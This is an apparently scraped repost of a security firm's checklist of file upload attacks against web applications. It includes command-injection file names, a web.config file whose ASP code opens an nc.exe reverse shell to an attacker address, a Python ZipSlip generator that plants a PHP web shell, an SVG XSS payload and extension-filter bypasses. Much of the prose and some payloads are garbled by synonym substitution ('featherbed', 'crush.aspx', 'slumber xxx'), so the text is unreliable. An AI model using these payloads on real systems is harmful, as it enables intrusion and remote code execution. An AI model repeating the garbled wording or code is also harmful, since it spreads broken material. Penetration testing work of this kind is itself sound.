Skip to content Skip to sidebar Skip to footer

Php Check File Uploaded Is Not Malicious

File Upload Vulnerability Tricks and Checklist

File uploads are pretty much globally accepted to take one of the largest attack surfaces in web security, assuasive for such a massive multifariousness of attacks, while besides beingness pretty tricky to secure.

The following postal service is some tips and tricks we try at OnSecurity when testing these features.

Note this does not include all checks that should be carried out, for example, context dependent vulnerabilities.

Security Checklist

Are filenames reflected back on the page? If so, are they HTML Entity encoded (XSS via file names)?

Does it have .zip files? Try a ZipSlip

If it processes an image, check for Image Tragick (CVE-2016-3714)

Can you bypass file type restrictions by changing the content-type value?

Can you featherbed file type restrictions by forging valid magic bytes?

Can you upload a file with a less-common extension (such as .phtml)?

Endeavour playing with the filename in the request, a potential vector for traversal or SQL injection.

Bank check for the acceptance of double extensions on uploaded files.

Test for aught-byte injection.

Is the server windows? Try adding a trailing . to bypass extension blacklists, this dot volition be removed automatically by the Os.

Tin can you lot upload an SVG for XSS?

If supported past the webserver, can you lot upload .htaccess files?

Does the backend procedure the image with the PHP GD library?

Is the app vulnerable to the infamous ffmpeg exploit?

Tin custom polyglots exist developed to bypass specific filters?

Does the app pass the file proper name to some sort of organisation part? If so, tin can you lot accomplish RCE via code injection inside the file name?

Does the awarding run the uploaded file through exiftool? If then, can you lot become RCE via the djvu exploit?

Can you lot bypass extension filters by using varied capitalization?

Tricks

RCE via the file name parameter

If the application includes custom image processing / file manipulation, then it may be vulnerable to remote control execution via lawmaking injection in the file proper noun.

Some example valid file names that could trigger commmand injection are the following:

File Name Payload Outcome If Vulnerable
a$(whoami)z.jpg $(whoami) a[Current USER]z.jpg
a`whoami`z.jpg `whoami` a[Current USER]z.jpg
a;slumber xxx;z.jpg ;sleep 30; The awarding volition take 30+ seconds to respond

Example Vulnerable Lawmaking

Code:

          <?php $variable = "test`whoami`exam"; arrangement("repeat ".$variable); ?>                  

Output:

          testwww-datatest                  

Exiftool versions seven.44 through 12.23 inclusive are vulnerable to a local command execution vulnerability when processing djvu files. Knowing this, if a spider web application is accepting uploaded files, which are and then passed to exiftool, can, in plough, lead to RCE (encounter reference for an case).

An case exploit can be seen beneath, with "sample1.djvu" being a random file sample I establish online.

References

  • RCE in GitLab due to ExifTool Exploit

Bypassing filters by case sensitive extensions.

Depending on how the application's back-end is coded, it may permit for a malicious actor to bypass sure checks by only changing the capitalization of a file'south extension.

For case: vanquish.php Would go trounce.pHP

Example's of this tin be establish within the references below.

References

  • Instance exploit from WPScan

Magic Byte Forgery

If an awarding is using a file's magic bytes to deduce the content-type, for instance via PHP's mime_content_type function, we can hands bypass security measures by forging the magic bytes of an allowed file. For case, if GIF images are allowed, we tin can forge a GIF image's magic bytes GIF89a to make the server call back we are sending information technology a valid GIF, as seen below.

This can also be obseved via the GNU file command.

Mutual useful magic bytes

File Type Magic Bytes
GIF GIF89a;\x0a
PDF %PDF-
JPG / JPEG \xFF\xD8\xFF\xDB
PNG \x89\x50\x4E\x47\x0D\x0A\x1A\x0A
TAR \x75\x73\x74\x61\x72\x00\x30\x30
XML <?xml

Total list of known file magic bytes

Bypassing the PHP GD library

A mutual mistake developers brand is thinking that the PHP GD paradigm processing library helps protect confronting malicious file uploads, as one time the prototype is processed and compressed, the structure changes, and would scramble whatsoever previously valid lawmaking.

This misconception, all the same, leads to a severe security flaw and attack surface if the following technique is known to the attacker.

Essentially, to exploit this security flaw, we need to find a office of an epitome which is the same both pre-pinch and post-compression. As seen in the enquiry linked in the references.

You tin can easily recognize if an prototype is being passed through the PHP GD library by uploading an image, downloading said image back from the webserver, can reading the file as text. If it has been compressed through PHP's GD library, it volition most likely appear to have the following information within the header, or something similar at the least:

          CREATOR: gd-jpeg v1.0 (using IJG JPEG v62),                  

Notation that it you notice PHP GD being used with a custom "depth" value, it will greatly increment the difficulty of exploitation, and in some cases, render it impossible, for example when the candy image contains the following header:

          JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 50                  

References

  • Bypass PHP GD Processing to RCE by Rick Gray
  • BookFresh Vulnerability

Uploading a .htaccess file

Blue teamers and developers are usually quick to blacklist file extensions, just rarely consider how webserver configuration files themselves can be exploited. Hence why the .htaccess technique can exist and then dangerous, even leading to RCE.

This file isn't direct an RCE vector, but it does allow for the definition of new valid PHP extensions, which can then be uploaded to the server (equally they are not blacklisted).

An instance .htaccess file that can be used to add a new PHP extension is:

          AddType application/x-httpd-php .evil                  

Note that this attack relies on the following options being enabled, and NGINX does non support .htaccess files.

          /etc/apache2/apache2.conf:      AllowOverride Options /etc/apache2/apache2.conf:      AllowOverride FileInfo                  

Resources

  • https://thibaud-robin.fr/articles/bypass-filter-upload/

Upload a malicious SVG file for XSS

When applications allow for images to be uploaded, information technology can seem logical to whitelist SVG files along with other common prototype types, although SVG files can be abused to reach XSS within the application, simply past uploading the following content within a .svg file. This technique is normally driveling by bug bounty hunters in the wild.

                          <?xml version="1.0" standalone="no"?>              <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG ane.1//EN" "http://world wide web.w3.org/Graphics/SVG/1.i/DTD/svg11.dtd">              <svg              version=              "one.ane"              baseProfile=              "full"              xmlns=              "http://www.w3.org/2000/svg"              >              <rect              width=              "300"              top=              "100"              style=              "fill up:rgb(255,0,0);stroke-width:3;stroke:rgb(0,0,0)"              />              <script              blazon=              "text/javascript"              >              alert("XSS!");              </script>              </svg>                      

Abusing ADS to bypass extension blacklists

As listed by the Open-Source Web Application Security Project (OWASP):

Some other extension blacklist bypass method, is past using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted subsequently a forbidden extension and before a permitted one. Equally a result, an empty file with the forbidden extension volition be created on the server (e.yard. "file.asax:.jpg"). This file might be edited after using other techniques such equally using its short filename. The "::$data" blueprint can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.eastward.grand. "file.asp::$data.").

References

  • OWASP Unrestricted File Upload

Trailing . in Windows

Inside Windows, when a file is created with a trailing total-cease, the file is saved WITHOUT said trailing character, leading to potential blacklist bypasses on Windows file uploads.

For example, if an application is rejecting files that stop in .aspx, you can upload a file called shell.aspx.. At present this filename will bypass the blacklist, as .aspx != .aspx., but upon saving the file to the server, Windows will cut out the trailing ., leaving crush.aspx, which is a valid Windows shell, and can be used to run ASP .Internet code.

Null Byte (\x00) Injection

To understand this attack, nosotros need to exercise some surface level research into what a zip byte is, what it is for, and how it works.

As per Wikipedia:

The null character is a control character with the value zero. It is nowadays in many graphic symbol sets, including those defined by the Baudot and ITA2 codes, ISO/IEC 646, the C0 control code, the Universal Coded Graphic symbol Set, and EBCDIC. It is bachelor in nearly all mainstream programming languages.

What is a null byte for?

A null character is a character with all its bits set to zilch. Therefore, it has a numeric value of null and can exist used to correspond the cease of a cord of characters, such as a word or phrase. This helps programmers determine the length of strings.

How can this be exploited?

As previously stated, the zero byte character can be used to define string termination, meaning when certain interpreters reach a zilch-byte within a string, it will await that to exist the end of the string, even if there are characters later it. This leads to a whole variety of confusion-based attacks, such as the following.

Imagine an application blocks sure extensions from being saved onto the server, only the application takes null-bytes into business relationship when checking the extension, nosotros could submit something along the lines of shell.jpeg%00.php.

Since the server will check the string, but hitting the null-byte, it will only read upwardly to ".jpeg", and pass it equally valid, although the file would exist saved onto the server as crush.jpeg%00.php, which is and then accessible to execute commands.

Older versions of PHP accept been found to be vulnerable to said attack, for more than information, see hither

Spider web.config File Upload

Inside IIS spider web servers, if the application allows you lot to upload files named 'web.config', y'all tin can attain a variety of malicious attacks, including XSS, RCE, arbitrary file downloads and more.

Examples of malicious spider web.config files are widely available on the net, although beneath I take included my favourite, from gazcbm on GitHub.

          <?xml version="1.0" encoding="UTF-8"?> <configuration>    <arrangement.webServer>       <handlers accessPolicy="Read, Script, Write">          <add proper noun="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />                </handlers>       <security>          <requestFiltering>             <fileExtensions>                <remove fileExtension=".config" />             </fileExtensions>             <hiddenSegments>                <remove segment="web.config" />             </hiddenSegments>          </requestFiltering>       </security>    </system.webServer> </configuration> <!-- ASP code comes here! It should not include HTML annotate closing tag and double dashes! <% Response.write("-"&"->") Ready objShell = CreateObject("WScript.Beat out") objShell.Exec("c:\users\test\documents\nc.exe -d x.10.10.ten 1337 -e c:\windows\system32\cmd.exe") Response.write("<!-"&"-") %> -->                  

Resources

  • Soroush' blog post on spider web.config uploads

ZipSlip

Naught Slip is a vulnerability discovered by the Snyk Security Research Team, that exists when a file upload functionality accepts, and extracts zip files without proper security measures in place. This vulnerability allows for writing to paths exterior the intended upload directory, and in some cases, RCE.

The vulnerability takes reward of zips that may contain files with specifically placed payloads set to the names, that in one case extracted, lead to a path traversal, and can write any file to any directory the webserver has access to.

For instance, nosotros tin can generate a malicious zipslip file with the script listed below, which then contains the path traversal file. Upon list the files within the cipher:

This conspicuously displays the zip file to contain "../../rce.php", which once extracted, will traverse out of a vulnerable application's intended directory.

The vulnerability has been found to exist in a variety of dissimilar popular libraries and products, such equally, the Fortify Cloud Browse Jenkins Plugin, the AWS Toolkit for Eclipse, Apache Maven and more than. The total list of vulnerable libraries / products tin can be found here.

A useful video to explain this vulnerability farther can be found on LiveOverflow'southward YouTube.

Generate malicious Zip Sideslip file:

                          #!/usr/bin/python              import              zipfile              from              cStringIO              import              StringIO              def              _build_zip():     f              =              StringIO()     z              =              zipfile.ZipFile(f,              'westward', zipfile.ZIP_DEFLATED)     z.writestr('../../rce.php',              '<?php system($_GET["cmd"]); ?>')     z.shut()     zip              =              open('rce.zip','wb')     zip.write(f.getvalue())     goose egg.close()  _build_zip()                      

Prototype Tragick CVE-2016-3714

Paradigm Tragick is the name given to an infamous exploit (CVE-2016-3714) in the ImageMagick PHP image processing library. The vulnerability consisted of abusing the misshandling of quotes, to pb to a control injection vulnerability, as explained on the previously mentioned website:

ImageMagick allows to process files with external libraries. This feature is called 'consul'. It is implemented as a system() with command string ('control') from the config file delegates.xml with bodily value for dissimilar params (input/output filenames etc). Due to bereft %Grand param filtering it is possible to conduct crush control injection. 1 of the default delegate's command is used to handle https requests:

          "wget" -q -O "%o" "https:%M"                  

Where %Grand is the actual link from the input. It is possible to pass the value similar

          `https://example.com";|ls "-la`                  

And execute unexpected 'ls -la' (wget or roll should exist installed).

          $ convert 'https://example.com";|ls "-la' out.png total 32 drwxr-xr-10 6 user grouping 204 April 29 23:08 . drwxr-xr-10+ 232 user group 7888 April xxx ten:37 ..                  

Essentially, a malicious file tin be provided for processing, and will lead to code execution on the automobile, so if we combine this vulnerability with a remote file upload feature within an image processing application, we achieve RCE.

This vulnerability has been extensively researched and plenty example exploits tin be found online.

FFMPEG exploit and explanation

A similarly infamous exploit tin exist plant within the "FFMEG" software, which leads to local file disclosure. This vulnerability has been exploited in the wild to reach both LFR and SSRF. Encounter examples for more than data.

Examples

  • HackerOne Report
  • LiveOverflow Explanation Role one
  • LiveOverflow Caption Function 2
  • Burp Upload Scanner
  • Fuxploider (piece of cake to utilize open source file upload scanner)

Resources

  • PayloadsAllTheThings

pendletonhises1939.blogspot.com

Source: https://www.onsecurity.io/blog/file-upload-checklist/

Post a Comment for "Php Check File Uploaded Is Not Malicious"